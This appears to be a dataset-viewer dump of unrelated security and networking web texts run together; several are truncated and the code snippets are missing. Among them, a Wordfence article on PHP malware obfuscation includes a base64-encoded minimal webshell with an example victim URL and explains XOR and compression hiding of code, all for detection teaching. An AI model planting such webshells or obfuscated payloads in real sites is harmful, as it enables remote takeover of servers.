Split (1)

train · 355k rows

content stringlengths 194 506k
Detecting multiple Blackhole and Grayhole attacks in MANETS by modifying AODV IOSR Journal of Computer Engineering Ad hoc networking refers to as network with no fixed Infrastructure. When the nodes are assumed to be capable of moving in the network, then networks are referred as MANETs (mobile ad hoc networks).Security is a paramount challenge in Ad hoc networks. Because of shared broadcast radio channels, insecure operating system, Limited resources, changing network membership, dynamic and arbitrary topology, no central authority, MANETs networks are sensitive and vulnerable to many security attacks. ... Ts have critical application such as military applications and civilian application. In such applications, secure communication is of prime importance. Most of MANETs routing protocols works on trustworthy collaboration among participating nodes which leads to security threats. Lack of authentication and identification mechanism is another shortcoming in routing protocols due to which security issues arises in MANETs. There are many security attacks which occur on MANETs, Blackhole and Grayhole attacks being one of them. AODV protocol is effective and efficient in MANETs environment and is vulnerable to both Blackhole and Grayhole attack. A Blackhole attack is one in which malicious node falsely advertises itself as good path or stable path to destination during route discovery and malicious node starts dropping the packets instead of forwarding to destination.Grayhole attack is an extended version of the Blackhole attack where adversary behaves as a genuine node for certain time and turns into malicious node later on. In this paper, we proposed a modified version of AODV routing protocol that detect attacks before route discovery and during route discovery with high packet delivery ratio, low routing overhead and maintenance overhead.
Manage Port Forwarding and Port Triggering N600 and AC750 WiFi DSL Modem Routers 4. Enter the user name and password for the modem router. The user name is admin. The default password is password. The user name and password are case-sensitive. 5. Click the OK button. The BASIC Home screen displays. 6. Select ADVANCED > Advanced Setup > Port Forwarding / Port Triggering. The Port Forwarding / Port Triggering screen displays. 7. Make sure that the Port Forwarding radio button is selected. 8. Click the Add Custom Service button. 9. Specify a new port forwarding rule with a custom service or application as described in the Service Name Enter the name of the custom service or application. Protocol Select the protocol (TCP or UDP) that is associated with the service or application. If you are unsure, select TCP/UDP. External Start Port Enter the external start port number that the service or application uses. External End Port Enter the external end port number that the service or application uses. Internal Start Port Specify the internal start port by one of these methods: • Leave the Use the same port range for Internal port check box selected. • Clear the Use the same port range for Internal port check box and enter the internal start port number that the service or application uses.
At ITsec we’re different. Not because we want to, but because we think we have to! With our method we aim for quality and feasibility. Our method distinguishes itself from other, similar companies. ITsec examines the security of an IT infrastructure or (web) application with as much knowledge as possible. In this way, we can provide the fullest possible picture of the inherent security level in as short a time as possible. Another important argument for this process is that we assume that an IT infrastructure or (web) application contains leaks. Worse, it’s probably already been hacked. This sounds paranoid and negative, but this suspicion is confirmed daily. In practice, it is often tested with or without limited knowledge (also called a black box). This approach provides shelf safety. Imagine, you test a web application without knowledge from the internet. When all kinds of infrastructure measures do their work well, an attacker does not find anything. Unfortunately the test says nothing about the security of the web application. When the infrastructure measures such as a firewall are not working or leaked, it is important to know what the security level of the application is. The method used by ITsec for a security assessment is based on the guidelines as defined in the “Open Source Security Testing Methodology Manual”. An application assessment is also conducted in accordance with the (International) Directives of the Open Web Application Security Platform (OWASP) and the Web Application Security Consortium (WASC). ITsec gives concrete advice and solutions. Our people work together ánd with you, for the best results. Check our services or contact us for more information.
October 2, 2023 With the launch of Wordfence CLI, our high performance security scanner that can detect the vast majority of PHP malware targeting WordPress, Wordfence continues to emphasize the importance of malware detection and remediation. Malware targeting WordPress uses a variety of obfuscation techniques to avoid detection, and today’s post dives into some of the most common built-in PHP functionality malware often makes use of in order to do this. What is Obfuscation? Obfuscation is the process of concealing the purpose or functionality of code or data so that it evades detection and is more difficult for a human or security software to analyze, but still fulfills its intended purpose. Obfuscation makes use of various types of encoding techniques, but is not exactly the same thing as encoding. There are countless legitimate uses for encoding data, including saving space through compression, transmitting data over a network, and packaging code so that it can be easily interpreted by programs in an expected format. Meanwhile obfuscation is intentionally designed to prevent understanding and detection by humans and security software. Obfuscation is also different from encryption in that it can typically be reversed without a “key”, though there are some encoding techniques, such as XOR encoding, which do use keys and are used in both encryption and obfuscation. Since obfuscation often relies heavily on encoding techniques, It’s important to understand what these techniques look like, their typical legitimate use cases, and signs that they’re being used to hide something potentially malicious. In today’s article, we will cover some of the most commonly used encoding techniques, and teach you how to spot legitimate uses as well as potentially suspicious patterns. What is Base64 encoding? Base64 encoding is widely used to send and store data. If you’ve ever played with Linux and tried to look at an executable file using the cat command, you might have noticed that your terminal starts acting very strangely. This is because binary data includes an enormous number of potential byte sequences, and software that’s not designed to interpret a particular file format can incorrectly interpret some of these sequences as commands. Base64 encoding allows any data, including binary data, to be stored and transmitted as text which makes it very convenient for programs to talk to one another without being misunderstood, especially over a network. It uses 26 lower-case letters, 26 upper-case letters, the digits 0-9, and the ‘+’ and ‘/’ symbols for a total of 64 characters, plus ‘=’ for padding. Note that, unlike the Base 8(Octal) and Base 16(Hexadecimal) encodings we’ll cover later, base64 is not a direct representation of the underlying bytes. Instead, it converts their octal representations to Base 10(Decimal) and then uses a lookup table to assign a character value. You can find out more about this process in the Wikipedia article on Base64 encoding. How is Base64 Encoding Used Legitimately? You’ve likely seen base64 encoded data in the past, and it’s very easy to spot – for instance, SGVsbG8sIFdvcmxkIQ== decodes to “Hello, World!” and you can run the code snippet: to see this in action. PHP uses the base64_decode functions to encode and decode Base64-encoded data. Many applications store information in this format as data files or database entries, so the presence of the base64_decode functions in a PHP file are often no cause for concern on their own. How is Base64 Encoding Used by Malware? It is significantly less common for base64-encoded data to be hardcoded into a PHP file, especially one that executes it as code. is a minimalist webshell. The eval function tells PHP to execute whatever is decoded by the base64_decode function as PHP, so once the string of data c3lzdGVtKCRfR0VUWydjbWQnXSk7 is decoded it will execute This uses the system function to run the contents of the cmd query string parameter as a terminal command. This means that if this webshell was installed on a site as webshell.php, an attacker could go to http://victimsite.com/webshell.php?cmd=ls to run the ls command and list all files in the directory. Byte Escape Sequences What are Byte Escape Sequences? You might already be familiar with some escape sequences, such as \n to denote a new line of text, or \t to denote a tab, but they can also be used to represent binary data. PHP uses byte escape sequences for this, and they are similar to base64 encoding in that they are a way to represent both text and binary data as text strings. There are two commonly used byte escape sequence formats used in PHP – Hexadecimal, which uses Base 16, and Octal, which uses Base 8. Hex encoded byte sequences are represented by \x followed by two characters, which can be any digit from 0 through 9 and the letters ‘a’ through ‘f’. For example, the text “Hello, World!” can be represented as the following escaped sequence: Octal byte sequences are represented by ‘\’ followed by a one to three digit number from 0 through 377. For example, the text “Hello, World!” can be represented as the following escaped sequence: If you’ve ever worked with Linux filesystem permissions, they are also stored in octal format, for example ‘777’ which denotes that all users have permission to read, write, and execute. PHP also uses unicode escape sequences, which begin with How are Byte Escape Sequences Used Legitimately? Byte escape sequences are used to store binary information, and many PHP applications use them to store encryption keys and to perform operations that can be sped up by handling binary data directly. As such they are most often found in code libraries for handling encryption and text manipulation and conversion. How are Byte Escape Sequences Used by Malware? PHP has an unusual property – any byte escape sequence surrounded by double quotes(“”) is automatically parsed. Moreover, PHP can interpret any valid combination of text, hex escape sequences, octal escape sequences, and unicode escape sequences in a single string. In other words, “He\x6c\x6c\x6f\54\40\127\157rld!” will be processed by PHP as “Hello, World!”. You can actually test this using the following code snippet: The fact that PHP can easily interpret such sequences but humans usually cannot read them make byte escape sequences ideal for obfuscation. It is very unusual for legitimate software to use mixed encodings in this manner, and so it is a very strong indicator of malicious activity. What is Character Encoding? Character encoding is similar to hex encoding but more limited in that it can only be used to represent text and a very limited subset of control characters. PHP uses the chr function to decode a number between 0 and 255 into a single character, and the ord function to encode a single character back into a numeric value. This is slightly complicated by the fact that the chr function accepts decimal, hexadecimal, and octal formatted numbers, but decimal format is most commonly used. The following code provides an example of character encoding utilizing chr, and would output “Hello, World!” when executed: How is Character Encoding Used by Malware? Character encoding is used by malware in almost exactly the same way as byte escape sequences, that is, to make the code more difficult for a human to read and security tools to interpret. It is frequently used by malware to hide malicious URLs that the malware then sends sensitive information or redirects visitors to. Substitution Ciphers(rot13, etc.) What are Substitution Ciphers? One of the simplest ways to obfuscate content is to simply substitute letters for other letters. This method is known as a Caesar cipher, and most programming languages have a built-in method to do this, the most popular of which is simply to replace each letter with the one halfway across the alphabet from it, or 13 steps away. As such, “Hello, World!” becomes “Uryyb, Jbeyq!” The rot13 substitutions can be seen in the following table: A => N B => O C => P D => Q E => R F => S G => T H => U I => V J => W K => X L => Y M => Z N => A O => B P => C Q => D R => E S => F T => G U => H V => I W => J X => K Y => L Z => M How are Substitution Ciphers Used Legitimately? It is uncommon for substitution ciphers to be used in well-architected code, but some legitimate software does use it as a workaround when it has issues running in an environment where naive or poorly configured security software might hinder its intended execution, or when a value needs to be stored that won’t be interfered with by code that is looking for that value. In other words, it is almost always used to evade detection of some kind even by legitimate software. How are Substitution Ciphers Used by Malware? Malware frequently uses the str_rot13 function to obfuscate malicious URLs that it sends sensitive data, redirects visitors to, or receives commands from, that might be on a blocklist. It is a relatively strong signal of suspicious behavior, though it is not strong enough on its own to mark a file as malicious. Compression (gzencoding, zlib encoding, and more) What is Compression? Compression refers to the process of compacting data, making it take up less space for storage and less bandwidth for transport. Compression algorithms are fairly complex, though many of them work in part by finding repeated patterns and storing references to them rather than the entire data. As a very basic example, the text “aaaaabbbccca” could potentially be compressed to “a5b3c3a”. Real compression algorithms are significantly more sophisticated, and there are many other steps involved depending on the type of data being compressed. There are a number of commonly used compression algorithms, including ones specifically designed to compress images, movies, and audio files. Media compression algorithms are often “lossy” and do not perfectly reconstruct the original data so much as produce output that looks or sounds similar enough to a human that it’s hard to notice. In today’s article we are going to focus specifically on the functions most commonly used by PHP to compress and decompress arbitrary data, which use “lossless” compression and can perfectly reconstruct the original data from the archived format. How is Compression used legitimately? Most people are familiar with zip files, and many websites use compression to load large amounts of content more quickly while saving money on outbound data transfer. The most common compression algorithms used in PHP are Zlib and Gzip, both of which are handled by the Zlib module, though BZip2 is also fairly common. Note that Gzip is not exactly the same thing as the zip files you may be familiar with as it can only compress single files, while modern zip archives can be configured to use many different algorithms including the one used by Gzip. There is a workaround to the single file problem, however – if you’ve ever seen a file with a .tar.gz extension, It is very common to combine multiple files into a “tarball” and then compress the combined file using gzip. Gzip uses an algorithm called “DEFLATE” which tends to be very fast and is often used by web servers to compress outbound data over the network. This process is effectively transparent – if configured correctly, a web server will send out a compressed page and your browser will automatically and transparently decompress and load it. Zlib and Bzip2 are slower but attain higher compression ratios so they’re often used to store archive files. How is Compression Used by Malware? Compressed files have a unique advantage for malicious actors – it is difficult to spot particular data in them, especially at high compression ratios. However, they also can’t easily be executed directly in the context of PHP. Compression isn’t limited to just files – any data, including text strings can be compressed. This means that an attacker can use compression to hide their code in a file and uncompress and execute it at runtime using, for instance, the There is one hurdle, however, which is that compressed files contain binary data, that is, data that can’t be directly represented as a text string. One solution to this is to load the compressed data from a separate, appropriately formatted file. Since attackers can often only upload a single file to take control of a site, this can be impractical. While it is possible to mix string and raw binary data in a single file, reading these separately often requires knowing exactly where in the file everything is, which may be difficult if the file was uploaded or written by exploiting a vulnerability. Earlier in the article, we discussed ways to safely store binary data in a text string, such as base64 encoding and byte escape sequences. These become significantly more useful to attackers when combined with compression algorithms, and we’ll examine this use case shortly. What is XOR Encoding? XOR (eXclusive OR) is a simple way to mix two sets of data together at the binary level, meaning it operates on the 1s and 0s that make up data. Think of it as a lightweight disguise for data. It takes two bits (a 1 or a 0) and compares them. If the bits are the same, it outputs 0; if they’re different, it outputs 1. Here’s an example: 0 XOR 0 = 0 0 XOR 1 = 1 1 XOR 0 = 1 1 XOR 1 = 0 In PHP, you would use the ^ symbol to do an XOR operation between two characters. What actually happens is that the computer looks at the binary form of these characters and does the XOR bit by bit. For example, the letter ‘A’ in binary is 01000001, and ‘B’ is 01000010. When you XOR them: You get a jumbled mix of the two. What makes XOR particularly useful is that if you take this result and do the exact same XOR operation on it again with ‘B’, you’ll get back ‘A’. How is XOR Encoding Used Legitimately? In practical terms, XOR is used for basic encryption or data masking. It’s fast and doesn’t require a lot of computing power. For example, if you have a secret key that both the sender and receiver know, you could XOR your message with this key to obscure the text before sending it over the internet. The downside to this is that it is usually trivial to find the “key” using statistical analysis, so while XOR encoding is used as part of a much more complex process by many strong encryption schemes, it is not secure encryption on its own. How is XOR Encoding Used by Malware? XOR encoding is particularly useful for attackers who want to restrict access to malware, such as webshells, used to control a website. For instance, by making the XOR “key” a value that isn’t present in the malware itself but is passed in by an input parameter, it acts as a password protection mechanism that makes the malware unable to run unless an attacker who knows the key sends a specially crafted request. Likewise, needing the key to deobfuscate the malware makes it much more difficult for security analysts and scanners to identify malicious behavior. The following malicious file actually includes the “key” in the malware itself, but requires commands to be encoded with that key before they can be processed. It accepts various $_COOKIE values and XORs them against the value of $odqwv, then executes the decoded commands. This means that any attacker that knows the value of $odqwv can thus send commands to the file that have already been XORd against that value, which will then be reversed and executed. In this example, $odqwv is the XORd value of trhvvbuzeadricgobq which turns out to be “base64_decode.” You can find this value by creating a simple one liner which prints the value. In this case $odqwv is the literal string “base64_decode” but this is simply used as a key and does not refer to the built-in function itself. The value in $_COOKIE[“dj”] is then XORd against the $odqwv key, which is ‘base64_decode’, and the result is called as a function, with similar steps occurring throughout the rest of the code. Putting it All Together Most obfuscated malware uses a combination of these techniques to hide its functionality, and combined techniques are one of the clearest indications of malicious activity. For example, take the following code: If supplied with the correct $xor_key, it will output “Hello, World!”. Let’s take a look at how we did this: First, we took the code ‘echo “Hello, World!”;’ and XOR-encoded it with a key value of ‘K’, resulting in the output We then ran it through the gzdeflate function, which results in a binary output that can’t be rendered here, but after base64-encoding that output it turns into If you placed the code in a hello.php file on your site and accessed it, you’d get a blank screen unless you sent a request to /hello.php?k=K, which would output “Hello, World!”. While this example only outputs “Hello, World!” when it is passed the right key, it is trivial to disguise any PHP code in this manner, including destructive code that adds malicious administrators, creates additional malicious files, or alters system settings. In today’s article, we discussed the most commonly used encoding techniques in PHP, their legitimate applications, and how malicious code uses them to obfuscate its purpose and intent. While obfuscation is an arms race, the Wordfence scanner and Wordfence CLI both use our incredibly effective malware detection signatures and are able to detect the vast majority of obfuscated malware targeting WordPress. A large part of why this is possible is due to our expertise and deep understanding of these encoding techniques and which combinations of encoding tend to indicate malicious behavior. Our experienced security analysts are continuously writing new signatures to improve our detection capabilities. In a future article, we’ll cover more advanced obfuscation techniques that rely on other properties and quirks of PHP, but it’s necessary to understand basic encoding methods first because of how frequently they’re used, even when they’re not the primary method of obfuscation. We encourage readers who want to learn more about this to experiment with the various code snippets we have presented. More advanced readers may wish to review public malware repositories in order to better learn to spot these indicators, but be sure to be careful with any actual malware samples you find and only execute them in a virtual environment, as even PHP malware can be used for local privilege escalation on vulnerable machines. Did you enjoy this post? Share it!
Hello SonarCloud community, Major updates on security rules for Python, C# and Java delivered to you! This week we have deployed new vulnerability detection checks, which will enable developers to reinforce their code security even further. Here is what’s new: On Python, your security analysis is getting stronger with 8 new rules based on taint analysis allowing you to detect injection vulnerabilities (OWASP A1) such as SQL Injections, OpenRedirect, Path Injections, LDAP Injections, XPath Injections, Log Injections, HRS and SSRF. - Rule S2078: LDAP queries should not be vulnerable to injection attacks - Rule S2083: I/O function calls should not be vulnerable to path injection attacks - Rule S2091: XPath expressions should not be vulnerable to injection attacks - Rule S3649: Database queries should not be vulnerable to injection attacks - Rule S5144: Server-side requests should not be vulnerable to forging attacks - Rule S5145: Logging should not be vulnerable to injection attacks - Rule S5146: HTTP request redirections should not be open to forging attacks - Rule S5167: HTTP response headers should not be vulnerable to injection attacks On C#, you can benefit from the improvements of the rules detecting SQL Injections, Command Injections, OpenRedirects, XPath Injections which now support more APIs such as Dapper, System.Data.Linq, Microsoft.EntityFrameworkCore. Also for better accuracy, you should expect less false-positives and more true-positives. Also on C#, you can elevate your game with the detection of XML External Entities vulnerabilities. The C# analysis is now able to detect similar issues as well-known vulnerabilities (e.g. CVE-2018-14485, CVE-2019-10718, CVE-2019-11392 (OWASP A4)) thanks to XXE checks: - Rule S2755: XML parsers should not be vulnerable to XXE attacks Now on Java, you’ll be able to go a step further on XSS (Cross Site Scripting), which by the way is one of the biggest risk of attack (2019 CWE Top 25 Most Dangerous Software Errors). So you’ll now be able to detect vulnerabilities when the data is sent to your Template Engine with Thymeleaf. This works for your back-end written with Spring Framework or Spring Boot. And you might already know but your Java back-end code was already covered on this matter. In the following example, message can be controlled by a malicious end-user. Its value is added to the Model of the MVC pattern implemented by Spring+Thymeleaf. Finally, this model is provided by Spring to the execution context of the templating system so that its content can be displayed. The tricky part here is that there is nothing explicit about the location of the template to call, it only says return “welcome”. We added some logic to retrieve template locations, to be able to raise an issue directly in the template where the Model variable can be used dangerously. Please let us know if you have any questions or feedback and enjoy the ride! Thomas & the SonarCloud team.
December 19, 2009 PDF exploits—mostly targeting Adobe Reader and Acrobat programs—are very commonly used on drive-by web sites. This situation is probably the result of the widespread use of the Adobe plugin, a rather large of number of vulnerabilities found in it, and reliable exploitation techniques. The analysis of malicious PDF files is often complicated by the use of various obfuscation (or better, “confusion”) techniques. In particular, malicious PDF files are often malformed: expected sections are missing entirely, others are truncated. The attacks are still successful because Adobe Reader does a good job at automatically repairing the damaged file. Of course, analysis tools are not necessarily as good at that. I recently found an interesting, small trick that was used in the wild. A little background first. A stream is a basic object (technically, a dictionary) used in PDF files to contain arbitrary content. In used to launch an exploit. The Length entry in the stream dictionary is used to specify, you guessed it, the length of the encoded content. According to the PDF specification (Section 22.214.171.124 for the curious), the length is to be specified as an integer. The sample I found, however, used an expression (a sum) to declare the stream length in the length declaration. obj <</ / / / /Filter/ASCIIHexDecode/Length 100000+12488>> stream ... stream contents ... endstream endobj Lessons learned: do not trust specs and be a little lenient in the parsing of PDF files... Update 1/7/2010: Richard B. pointed out that Acrobat seems to detect that the length specification is malformed, discards it, and falls back to a simple parsing strategy to extract the stream contents. Thanks! December 10, 2009 Today, Sean Ford is going to present our paper Analyzing and Detecting Malicious Flash Advertisements at the ACSAC Conference. The paper describes some of the techniques we use to detect malicious Flash files. More precisely, we focused on two main threats: Flash-based malvertisements that automatically redirect victims to malicious or questionable pages. This type of malware essentially exploits a design flaw in the current advertisement technology: the Flash language and its run time, as implemented in today's browsers, are too powerful and too unrestricted. To put it more plainly, why should an advertisement be able to hijack the browser? Malformed Flash files that exploit vulnerabilities in common Flash players, typically, Adobe's player. This type of malware exploits classic implementation problems (buffer overflows, integer overflows, etc.). The paper also describes in some detail a number techniques that are used in malicious Flash files to evade detection (trigger-based behavior, timezone checks, etc.) and obfuscate the malicious code. Here is the abstract:
Infrastructure environments constantly change and it is impossible to track the changes and correlate the events using legacy techniques. Manual processing of massive amount of dynamic data across the stacks to identify patterns, anomalies, and predicting capacity requirements or predicting failures in infrastructure is almost impossible. This poses tremendous business risks and hindrance to business innovation So, what’s the solution? A solution that combines the power of machine learning with the ability to auto-discover and correlate entities across compute, network and storage. FixStream’ artificial intelligence quickly predicts infrastructure issues across an enterprise’s entire hybrid IT stack. With its machine learning (ML) algorithms and advanced multi-layer correlation across on-prem, virtualized and cloud infrastructure, FixStream can rapidly identify business impacting infrastructure issues in minutes instead of hours. FixStream Infrastructure AI capabilities include: - Dynamic thresholding and multivariate anomaly detection - Sequential Pattern Analysis for Incident Prediction - Disk/Network Bandwidth Predictive Analytics across compute, network and storage domains in hybrid (on-prem, virtualized and cloud) infrastructure environments. Dynamic Thresholding and Multivariate Anomaly Detection - Helps to detect an unplanned event (like a DDOS attack) or better plan for a critical event (like Black Friday) - First identifies a sequence or group of anomaly events - Machine learning algorithm automatically learns the expected behavior and sets thresholds accordingly - Real time event patterns across the infrastructure are compared to the expected behavior - Alerts are raised only when a sequence of events demonstrates anomaly behavior - The anomaly detection is computed across multiple variables such as CPU, memory, bandwidth, etc. Sequential Pattern Analysis - Machine learning algorithms detect event patterns across the entire hybrid infrastructure - Predicts the next set of infrastructure outages that are expected to occur over a certain period of time (e.g. 30 minutes) - Indicates the probability that such an outage will occur - Gives enough time to IT operations to take preventive actions to avoid the outage to occur Disk/Network Bandwidth Predictive Analytics - Analyze historic utilization trends of an infrastructure resource - Predict when the infrastructure entity will run out of capacity - Allows to proactively plan to add more capacity before it negatively impacts the business
The Snyk API provides security to developers targeting open-source platforms. With the API, developers can test packages for issues, evaluates deployed code, and reports a snapshot of the dependency versions in use. Snyk is a service to help developers automatically find and fix open source vulnerabilities. This article is part of a series about Most Clicked, Shared and Talked About APIs that were added to our directory during 2019. Security and Privacy APIs are covered here. The APIs were chosen by our researchers, by popularity according to website traffic, and also by mentions on social media. Fourteen APIs have been added to the ProgrammableWeb directory in categories including Cryptocurrency, Payments, and Transportation. Also new to the directory is the Samsara API Industrial IoT, and the Snyk API for open source security. Here's a rundown of the latest additions.
Searching Excel/Word/PowerPoint 2013 password recovery methods? This article will mainly discuss how to recover the office (Word/Excel/PPT/) document protected password efficiently if you forgot the password. It is very command for us to forget the Excel/Word/PowerPoint password, when we set a strong protected password on the document to protect the important data but have a long time such as a month or two more do not use it. The Excel/Word/PowerPoint 2013 password recovery methods: 1. Excel 2013 document password recovery “Is there any methods to recover Excel 2013 sheet password instantly if my excel document protection password is more than 8 characters?” Yes, if you specify the Excel 2013 password recovery settings appropriately, Vodusoft Excel Password recovery program can help you as soon as possible. Following the steps as below: <1>. Get Vodusoft Excel Password Recovery program and install it in the windows that you save the excel sheet file. <2>. Click on Open to open the password protected Excel 2013 document. <3>. Choose the appropriate password Attack Mode among the four attack types: Brute-force Attack, Mask Attack, Dictionary Attack and Smart Attack. Tips: If you remember part of the password, select the Brute-force with Mask attack type, can shorten the password recovery time. If you have no idea which is the best one to attack your excel password, keep the default attack mode. <4>. When you select the Brute-force with Mask attack mode,specify the attack settings according to your password. .4.1 Select the Brute-force Attack mode, on the Range option, select the type of characters. .4.2 On the Length option, specify the password Minimal and Maximal length. .4.3 Select the Mask mode, on the Mask text box, specify the character symbol. For example, your password is “vodusoft”, you can specify it like: “vo????ft” <5>.Click on Start to recover your excel protection password. <6>.When the password is found, click on Copy to copy the password, and click on Open, and then paste the password on the password text box to open the excel sheet. 2. Word 2013 file protected password recovery “I wrote a report in ms word 2013 and then locked the document with password to protect the data, but today the password did not work, I tried many other passwords, but all of them are incorrect password, how can I find back the correct password? I have to show the report tomorrow, please help!” Forgot your Excel 2013 document password? Don’t be disappointed, Vodusoft Word Password Recovery program can help you to unprotect your word document quickly. The steps how to recover word 2013 password are similar to the steps to recover Excel password. <1>. Get Vodusoft Word Password Recovery program, and install in the computer where you place the word document. <2>. Launch the vodusoft word password program, click on Open to choose your locked word 2013 document. <3>. Select the appropriate Attack Mode. <4>. Specify the attack settings according to your password. <5>. Click on Start to recover your word 2013 document password. <6>. When the password is found, then you can open the word 2013 protected document with the password. 3. PowerPoint 2013 protection password recovery “How can I remove the PowerPoint 2013 password when I forgot password on my PowerPoint presentation?” Lost your PowerPoint 2013 protection password? Don’t worry, Vodusoft PowerPoint password recovery program can help you to find back the password as soon as possible The steps how to recover PowerPoint 2013 password is similar to the steps above, if need more details, you can also refer to the article: How to recover PowerPoint password People who read this article also like:
Chapter 17. External Border Gateway Protocol (eBGP) This chapter provides information and commands concerning the following topics: Configuring Border Gateway Protocol Get CCNA Routing and Switching Portable Command Guide (ICND1 100-105, ICND2 200-105, and CCNA 200-125), 4th Edition now with the O’Reilly learning platform. O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.
It is important to have a password that is easy to remember, but hard to guess. Hackers can guess your password if it is a name or word from the dictionary. The best password will contain the following: - At least two Capital letters - At least one lower-case letter - At least one number - At least two symbols - Padding characters Writing down your password is the most common security risk. But imagining and then remembering such a password can be difficult. Ok, here is how to make great passwords. - Start with a really simple word or name at least 8 letters long. I will use my name: smartweb - Change two letters to symbols that look similar. Use $ for s, @ for a, ! for i, and so on: [email protected] - Change a letter to a number that looks similar. Use 1 for l, 0 for o, 8 for b, and so on: - Include two Capital letters, like this: [email protected] Great! Now you have a password that is easy to remember, but hard to guess. It is acceptable to make a few different passwords and reuse them for different sites and devices. Just be sure that you don't reuse your most important passwords. - 1 Users Found This Useful The internal server error may be caused by permission error, malicious traffic that exhaust... A brute force attack is detected when someone repeatedly attempts (and fails) to login to a... Wordpress Login - Brute Force Attack There is a worldwide, highly-distributed WordPress attack... The most important thing to do is keep your passwords a secret. If you must give a password...
How Easy It Is To Crack Password Protected Pdfs? There are a number of advantages in using PDF documents, and chief amongst the benefits is the ability to secure the document with the help of a password, as compared to other image files such as TIFFs or JPEGs. If you password protect PDF files then you can restrict the ability of a user in duplicating, editing or accessing text from the document and in some cases prevent the user from printing it. But PDF password protection is not as secure as it might seem… Unfortunately, in spite of the best interests of the creator of the PDF document to secure the text or the matter contained in the file, password protected PDFs can easily be cracked and the document security features removed. A simple search on any major search engine will reveal numerous pdf password removal applications and workarounds that are easily and freely available online. These can be used in unlocking almost any secure PDF for unauthorized edits, sharing, and use with optical character recognition software. Currently, a large number of companies continue to employ reusable, standard passwords to password protect PDF files. Unsurprisingly, these same standard passwords are also used in various other business applications, intranets and extranets, e-mail, CRM and other business programs within the organization. Maintaining confidential information or sensitive data in PDF documents with reusable or standard passwords is highly insecure and risky. This is because passwords can easily be hacked, stolen or guessed (the majority of passwords are weak and the most popular password is 123456); and once the password has been compromised, the PDF document is no longer secure. In most cases, the document owner is rarely aware that their passwords have been compromised and if the hacker is smart, the fact that the attack has taken place also might never be discovered. For organizations and companies, this means that sensitive business data can be easily duplicated, edited, deleted or even read by unauthorized sources without anyone even knowing a security breach has occurred. In spite of technological advancements and education surrounding the importance of strong passwords for confidential business information, a large number of companies still have a poor understanding of how easy it is for anybody outside the system to subtly hack into their data. Standard password-based PDF documents are often reused with the same credentials and in most cases these credentials are stored in a password database that is typically maintained on the company’s system. Hence the password to the document can either be acquired by snooping on the user’s network connection, hacking the system’s password file, keyboard tapping or keystroke capturing, stealth infection, searching online for a simple password removing application, or simply by guessing the password or using dictionary attacks. There are a number of powerful password cracking applications that are able to decrypt any password within seconds or minutes through a standard computer. Which is why, it is now more critical than ever to employ potent authentication and encryption to secure sensitive PDF documents. In an ideal situation, organizations should get rid of standard, reusable passwords in favor of strong authentication methods like public key technology, tokens, and dongles. Most firms bury their heads in the sand, hoping that their password protected PDF documents remain safe. However, it only takes one incident; an occasion where confidential information is breached that can put the entire reputation of the organization at stake. It is important to consider all that is being risked – the company’s business privacy, client’s confidential data, and financial penalties. To prevent the unauthorized usage of your PDF documents, you need to ditch your password protected PDF files for a PDF DRM system that uses public key technology. With public key technology, there are no PDF passwords to share, break, or forget – decryption keys are securely transferred and locked to authorized client computers. Locklizard’s PDF document security offers additional security features beyond simple PDF password protection. You can stop screen grabbing software, revoke PDF files at any stage, restrict access to specific users, and log document usage. If you don’t want any real security for your PDF documents then password protecting PDF files is a cheap solution, but if you want to effectively control access to your PDF files no matter where they reside, then contact Locklizard.
SIP - Basic Call Flow Tutorial on the session initiation protocol 2020-11-21 06:04:03 SIP - Basic call flow The following image shows the basic call flow for a SIP session. You will find below - below a step by step explanation of the above call flow - An INVITE request sent to a proxy server is responsible for initiating an session. The proxy server immediately sends a 100 Trying response to the caller (Alice) to stop retransmissions of the INVITE request. The proxy server looks for Bob"s address in the location server. After getting the address, he forwards the INVITE request further. Subsequently, 180 Ringing (provisional responses) generated by Bob returned to Alice. A response 200 OK is generated shortly after Bob picks up the phone. Bob receives an ACK from Alice , once it gets 200 OK . At the same time, the session is established and RTP packets (conversations) begin to flow from both sides. After the conversation, any participant (Alice or Bob) can send a BYE request to end the session. BYE reaches directly from Alice to Bob bypassing the proxy server. Finally, Bob sends a 200 OK response to confirm the BYE and the session is terminated. In the basic call flow above, three transactions are (marked as 1, 2, 3) available. The full call (from INVITE to 200 OK) is called Dialog box . SIP trapezoid How does a proxy help connect one user to another? Let"s find out with the help of the following diagram. The topology shown in the diagram is known as SIP trapezoid. The process is as follows - When a caller initiates a call, an INVITE message is sent to the proxy server. Upon receiving the INVITE, the proxy server attempts to resolve the called party"s address using the DNS server. After getting the following route, the caller"s proxy server (Proxy 1, also known as outbound proxy server) forwards the INVITE request to the proxy server of the called party which acts as an incoming proxy server (Proxy 2) for the called party. The incoming proxy server contacts the location server to get information about the called party address where the user has registered. After obtaining information from the location server, it transfers the call to its destination. Once user agents know their address, they can bypass the call, that is, conversations go directly.
And so a week of fun comes to an end. But before we part company, there are a few more items to discuss. There are portions of OSSEC that are often overlooked because they require little or no configuration, and they “just work.” Other features are either more involved, or require external products. Let’s take a look at a few of these. First up, rootkit detection. OSSEC ships with a set of rules and “signatures” designed to detect common rootkits. The default OSSEC installation uses two files, rootkit_files.txt and rootkit_trojans.txt, as the base of the rootkit detection. The rootkit_files.txt file contains a list of files commonly found with rootkit infections. Using various system calls, OSSEC tries to detect if any of these files are installed on the machine and sends an alert if they are found. Multiple system calls are used because some rootkits hide themselves by altering system binaries and sometimes by altering system calls. The rootkit_trojans.txt file contains a list of commonly trojaned files as well as patterns found in those files when they have been compromised. OSSEC will scan each file and compare it to the list of patterns. If a match is found, an alert is sent to the administrator. There are also additional rootkit files shipped with OSSEC. For Windows clients there are three files containing signatures for common malware, signatures to detect commonly banned software packages, and signatures for checking windows policy settings. On the Linux side are a number of files for auditing system security and adhering to CIS policy. CIS policy auditing will be covered later. Rootkit detection also goes beyond these signature-based methods. Other detection methods include scanning /dev for unusual entries, searching for hidden processes, and searching for hidden ports. Rootkit scanning is pretty in-depth and more information can be found in the OSSEC Manual. CIS, the Center for Internet Security, publishes a benchmark tool for auditing system security on various operating systems. OSSEC can assist with compliance to the CIS guidelines by monitoring systems for non-conformity and alerting as necessary. Shipped by default with OSSEC are three cis-based signature sets for Redhat Linux and Debian. Creating new tests is fairly straightforward and the existing tests can be adapted as needed. One thing that OSSEC lacks is an easy way to pour through the OSSEC logs, get visual information on alerts, etc. There was a project, the OSSEC-WUI, that aimed to resolve this, but that project has mostly died. Last I heard, there were no plans to revive this project. There is an alternative, however. A commercial product, Splunk, can handle the heavy lifting for you. Yes, yes, Splunk is 